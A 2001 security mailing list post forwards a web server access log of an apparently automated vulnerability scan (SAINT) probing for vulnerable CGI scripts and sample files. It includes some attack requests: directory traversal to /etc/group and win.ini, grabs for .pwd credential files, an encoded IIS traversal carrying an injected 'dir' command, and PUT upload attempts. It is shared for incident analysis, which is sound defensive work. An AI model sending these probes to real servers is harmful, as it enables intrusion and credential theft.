69warp87.newtel.com - - [14/Aug/2001:13:09:55 -0400] "GET /cgi-bin/wrap.pl HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:09:55 -0400] "GET /cgi-bin/wrap.cgi HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:09:55 -0400] "GET /cgi-bin/finger HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:09:56 -0400] "GET /cgi-bin/finger.pl HTTP/1.0" 404 283
69warp87.newtel.com - - [14/Aug/2001:13:09:56 -0400] "GET /cgi-bin/finger.cgi HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:09:56 -0400] "GET /cgi-bin/phf HTTP/1.0" 302 291
69warp87.newtel.com - - [14/Aug/2001:13:09:56 -0400] "GET /cgi-bin/handler HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:09:57 -0400] "GET /cgi-bin/info2www HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:09:57 -0400] "GET /cgi-bin/textcounter.pl HTTP/1.0" 404 288
69warp87.newtel.com - - [14/Aug/2001:13:09:57 -0400] "GET /cgi-bin/glimpse HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:09:57 -0400] "GET /cgi-bin/aglimpse HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:09:58 -0400] "GET /cgi-bin/webgais HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:09:58 -0400] "GET /cgi-bin/www-sql HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:09:58 -0400] "GET /cgi-bin/websendmail HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:09:58 -0400] "GET /cgi-bin/jj HTTP/1.0" 404 276
69warp87.newtel.com - - [14/Aug/2001:13:09:59 -0400] "GET /cgi-bin/count.cgi HTTP/1.0" 404 283
69warp87.newtel.com - - [14/Aug/2001:13:09:59 -0400] "GET /cgi-bin/imagemap.exe HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:09:59 -0400] "GET /catinfo HTTP/1.0" 404 273
69warp87.newtel.com - - [14/Aug/2001:13:09:59 -0400] "/cgi-bin/saint_test_cgi HTTP/1.0" 400 -
69warp87.newtel.com - - [14/Aug/2001:13:10:00 -0400] "GET /cgi-bin/csh HTTP/1.0" 404 277
69warp87.newtel.com - - [14/Aug/2001:13:10:00 -0400] "GET /cgi-bin/bash HTTP/1.0" 404 278
69warp87.newtel.com - - [14/Aug/2001:13:10:00 -0400] "GET /cgi-bin/zsh HTTP/1.0" 404 277
69warp87.newtel.com - - [14/Aug/2001:13:10:01 -0400] "GET /cgi-bin/ash HTTP/1.0" 404 277
69warp87.newtel.com - - [14/Aug/2001:13:10:01 -0400] "GET /cgi-bin/ksh HTTP/1.0" 404 277
69warp87.newtel.com - - [14/Aug/2001:13:10:01 -0400] "GET /cgi-bin/sh HTTP/1.0" 404 276
69warp87.newtel.com - - [14/Aug/2001:13:10:01 -0400] "GET /cgi-bin/perl HTTP/1.0" 404 278
69warp87.newtel.com - - [14/Aug/2001:13:10:02 -0400] "GET /cgi-bin/perl.exe HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:10:02 -0400] "GET /cgi-bin/tcsh HTTP/1.0" 404 278
69warp87.newtel.com - - [14/Aug/2001:13:10:02 -0400] "GET /cgi-win/uploader.exe HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:10:02 -0400] "GET /cgi-dos/args.bat HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:10:03 -0400] "GET /cgi-dos/args.cmd HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:10:03 -0400] "GET /cgi-shl/win-c-sample.exe HTTP/1.0" 404 290
69warp87.newtel.com - - [14/Aug/2001:13:10:03 -0400] "GET /shop/product.asp HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:10:03 -0400] "GET /shop/product.ast HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:10:04 -0400] "GET /scripts/c32web.exe/ChangeAdminPassword HTTP/1.0" 404 304
69warp87.newtel.com - - [14/Aug/2001:13:10:04 -0400] "GET /pccsmysqladm/incs/dbconnect.inc HTTP/1.0" 404 297
69warp87.newtel.com - - [14/Aug/2001:13:10:04 -0400] "GET /servlet/sunexamples.BBoardServlet HTTP/1.0" 404 299
69warp87.newtel.com - - [14/Aug/2001:13:10:04 -0400] "GET /_private/shopping_cart.mdb HTTP/1.0" 404 292
69warp87.newtel.com - - [14/Aug/2001:13:10:05 -0400] "GET /piranha/secure/passwd.php3 HTTP/1.0" 404 292
69warp87.newtel.com - - [14/Aug/2001:13:10:05 -0400] "GET /scripts/cart32.exe/cart32clientlist HTTP/1.0" 404 301
69warp87.newtel.com - - [14/Aug/2001:13:10:05 -0400] "GET /scripts/emurl/RECMAN.dll HTTP/1.0" 404 290
69warp87.newtel.com - - [14/Aug/2001:13:10:05 -0400] "GET /cgi-bin/guestbook.cgi HTTP/1.0" 404 287
69warp87.newtel.com - - [14/Aug/2001:13:10:06 -0400] "GET /cgi-bin/guestbook.pl HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:10:06 -0400] "GET /cgi-bin/excite HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:10:06 -0400] "GET /site/eg/source.asp HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:10:07 -0400] "GET /cgi-bin/w3-msql/index.html HTTP/1.0" 404 292
69warp87.newtel.com - - [14/Aug/2001:13:10:07 -0400] "GET /cgi-bin/wais.pl HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:10:07 -0400] "GET /cgi-bin/wais/wais.pl HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:10:07 -0400] "GET /ddrint/bin/ddicgi.exe HTTP/1.0" 404 287
69warp87.newtel.com - - [14/Aug/2001:13:10:08 -0400] "GET /cgi-bin/db2www HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:10:08 -0400] "GET /cgi-bin/db2www.exe HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:10:08 -0400] "GET /search97cgi/vtopic HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:10:11 -0400] "GET /cgi-bin/webplus HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:10:12 -0400] "GET /cgi-bin/webplus.exe HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:10:12 -0400] "GET /cgi-bin/webplus.cgi HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:10:12 -0400] "GET /dsgw/bin/search HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:10:12 -0400] "GET /pbserver/pbserver.dll HTTP/1.0" 404 287
69warp87.newtel.com - - [14/Aug/2001:13:10:13 -0400] "GET /cgi-bin/statsconfig.pl HTTP/1.0" 404 288
69warp87.newtel.com - - [14/Aug/2001:13:10:13 -0400] "GET /cgi-bin/wwwwais HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:10:13 -0400] "GET /cgi-bin/pi HTTP/1.0" 404 276
69warp87.newtel.com - - [14/Aug/2001:13:10:13 -0400] "GET /cgi-bin/post-query HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:10:14 -0400] "GET /cgi-bin/ncommerce3/ExecMacro/orderdspc.d2w/report
HTTP/1.0" 404
 315
69warp87.newtel.com - - [14/Aug/2001:13:10:14 -0400] "GET /cgi-bin/websync.exe HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:10:14 -0400] "GET /globals.pl HTTP/1.0" 404 276
69warp87.newtel.com - - [14/Aug/2001:13:10:14 -0400] "GET /process_bug.cgi HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:10:15 -0400] "GET /cfdocs/expeval/exprcalc.cfm HTTP/1.0" 404 293
69warp87.newtel.com - - [14/Aug/2001:13:10:15 -0400] "GET /cfdocs/expeval/openfile.cfm HTTP/1.0" 404 293
69warp87.newtel.com - - [14/Aug/2001:13:10:15 -0400] "GET /cfdocs/exampleapp/docs/sourcewindow.cfm HTTP/1.0" 404 305
69warp87.newtel.com - - [14/Aug/2001:13:10:16 -0400] "GET /cfdocs/cfmlsyntaxcheck.cfm HTTP/1.0" 404 292
69warp87.newtel.com - - [14/Aug/2001:13:10:16 -0400] "GET /cfdocs/snippets/viewexample.cfm HTTP/1.0" 404 297
69warp87.newtel.com - - [14/Aug/2001:13:10:16 -0400] "GET /CFIDE/Administrator/startstop.html HTTP/1.0" 404 300
69warp87.newtel.com - - [14/Aug/2001:13:10:16 -0400] "GET /iissamples/exair/howitworks/codebrws.asp HTTP/1.0" 404
306
69warp87.newtel.com - - [14/Aug/2001:13:10:17 -0400] "GET /iissamples/sdk/asp/docs/codebrws.asp HTTP/1.0" 404 302
69warp87.newtel.com - - [14/Aug/2001:13:10:17 -0400] "GET /iissamples/exair/howitworks/code.asp HTTP/1.0" 404 302
69warp87.newtel.com - - [14/Aug/2001:13:10:17 -0400] "GET /msadc/samples/selector/showcode.asp HTTP/1.0" 404 301
69warp87.newtel.com - - [14/Aug/2001:13:10:17 -0400] "GET /_vti_bin/_vti_aut/Dvwssr.dll HTTP/1.0" 404 294
69warp87.newtel.com - - [14/Aug/2001:13:10:18 -0400] "GET //WEB-INF/ HTTP/1.0" 404 275
69warp87.newtel.com - - [14/Aug/2001:13:10:18 -0400] "GET /./WEB-INF/web.xml HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:10:18 -0400] "GET
/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../..
/../../../winnt/win.ini HTTP/1.0" 400 414
69warp87.newtel.com - - [14/Aug/2001:13:10:18 -0400] "GET
/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../..
/../../../etc/group HTTP/1.0" 400 410
69warp87.newtel.com - - [14/Aug/2001:13:10:19 -0400] "GET /_vti_pvt/service.pwd HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:10:19 -0400] "GET /_vti_pvt/users.pwd HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:10:19 -0400] "GET /_vti_pvt/authors.pwd HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:10:19 -0400] "GET /_vti_pvt/administrators.pwd HTTP/1.0" 404 293
69warp87.newtel.com - - [14/Aug/2001:13:10:20 -0400] "PUT /saint.txt HTTP/1.0" 400 371
69warp87.newtel.com - - [14/Aug/2001:13:10:20 -0400] "PUT /cgi-bin/saint.txt HTTP/1.0" 400 371
69warp87.newtel.com - - [14/Aug/2001:13:10:20 -0400] "GET /msadc/msadcs.dll/ActiveDataFactory.Query HTTP/1.0" 404
306
69warp87.newtel.com - - [14/Aug/2001:13:10:21 -0400] "GET / HTTP/1.0" 200 8883
69warp87.newtel.com - - [14/Aug/2001:13:10:21 -0400] "GET /?wp-cs-dump HTTP/1.0" 200 8883
69warp87.newtel.com - - [14/Aug/2001:13:10:21 -0400] "INDEX / HTTP/1.0" 501 324
69warp87.newtel.com - - [14/Aug/2001:13:10:22 -0400] "GET /exec/show/config/cr HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:10:22 -0400] "GET /pls HTTP/1.0" 404 269
69warp87.newtel.com - - [14/Aug/2001:13:10:22 -0400] "GET /pls/admin_/gateway.htm HTTP/1.0" 404 288
69warp87.newtel.com - - [14/Aug/2001:13:10:22 -0400] "GET /_ncl_subjects.shtml HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:10:23 -0400] "GET /ncl_subjects.html HTTP/1.0" 404 283
69warp87.newtel.com - - [14/Aug/2001:13:11:00 -0400] "GET
/scripts/..%c1%1c../..%c1%1c../mssql7/install/pubtext.bat"+&+dir
+c:+.exe HTTP/1.0" 404 333
69warp87.newtel.com - - [14/Aug/2001:13:11:00 -0400] "GET /."./."./winnt/win.ini%20.php3 HTTP/1.0" 404 293
69warp87.newtel.com - - [14/Aug/2001:13:11:00 -0400] "GET /global.asp\ HTTP/1.0" 404 277
69warp87.newtel.com - - [14/Aug/2001:13:11:01 -0400] "POST /cgi-bin/search.pl HTTP/1.0" 404 283
69warp87.newtel.com - - [14/Aug/2001:13:11:01 -0400] "GET /.nsf/../winnt/win.ini HTTP/1.0" 404 279
69warp87.newtel.com - - [14/Aug/2001:13:13:21 -0400] "-" 408 -
69warp87.newtel.com - - [14/Aug/2001:13:13:32 -0400] "-" 408 -
69warp87.newtel.com - - [14/Aug/2001:13:13:44 -0400] "-" 408 -
69warp87.newtel.com - - [14/Aug/2001:13:13:55 -0400] "-" 408 -
69warp87.newtel.com - - [14/Aug/2001:13:15:25 -0400] "-" 408 -
69warp87.newtel.com - - [14/Aug/2001:13:15:36 -0400] "-" 408 -
69warp87.newtel.com - - [14/Aug/2001:13:15:47 -0400] "-" 408 -
69warp87.newtel.com - - [14/Aug/2001:13:15:50 -0400] "-" 408 -

----- End forwarded message -----

-- 
<Lopharin> anytime you start stacking letters in IOS images outside of 'S' I
           get nervous

fear leads to anger. anger leads to hate.
hate leads to using linux for mission critical applications.

----------------------------------------------------------------------------
This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management 
and tracking system please see: http://aris.securityfocus.com
Next message: Ryan Russell: "Re: Code Red II hit in July???"
Previous message: Gary Flynn: "Re: MSIIS servers patched/de-doored, but C and D keep coming back"
Next in thread: Hugo van der Kooij: "Re: Very thorough scan of web apps-"
Reply: Hugo van der Kooij: "Re: Very thorough scan of web apps-"
Reply: J Jewitt: "Re: Very thorough scan of web apps-"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
This archive was generated by hypermail 2b30 : Tue Aug 14 2001 - 12:17:32 PDT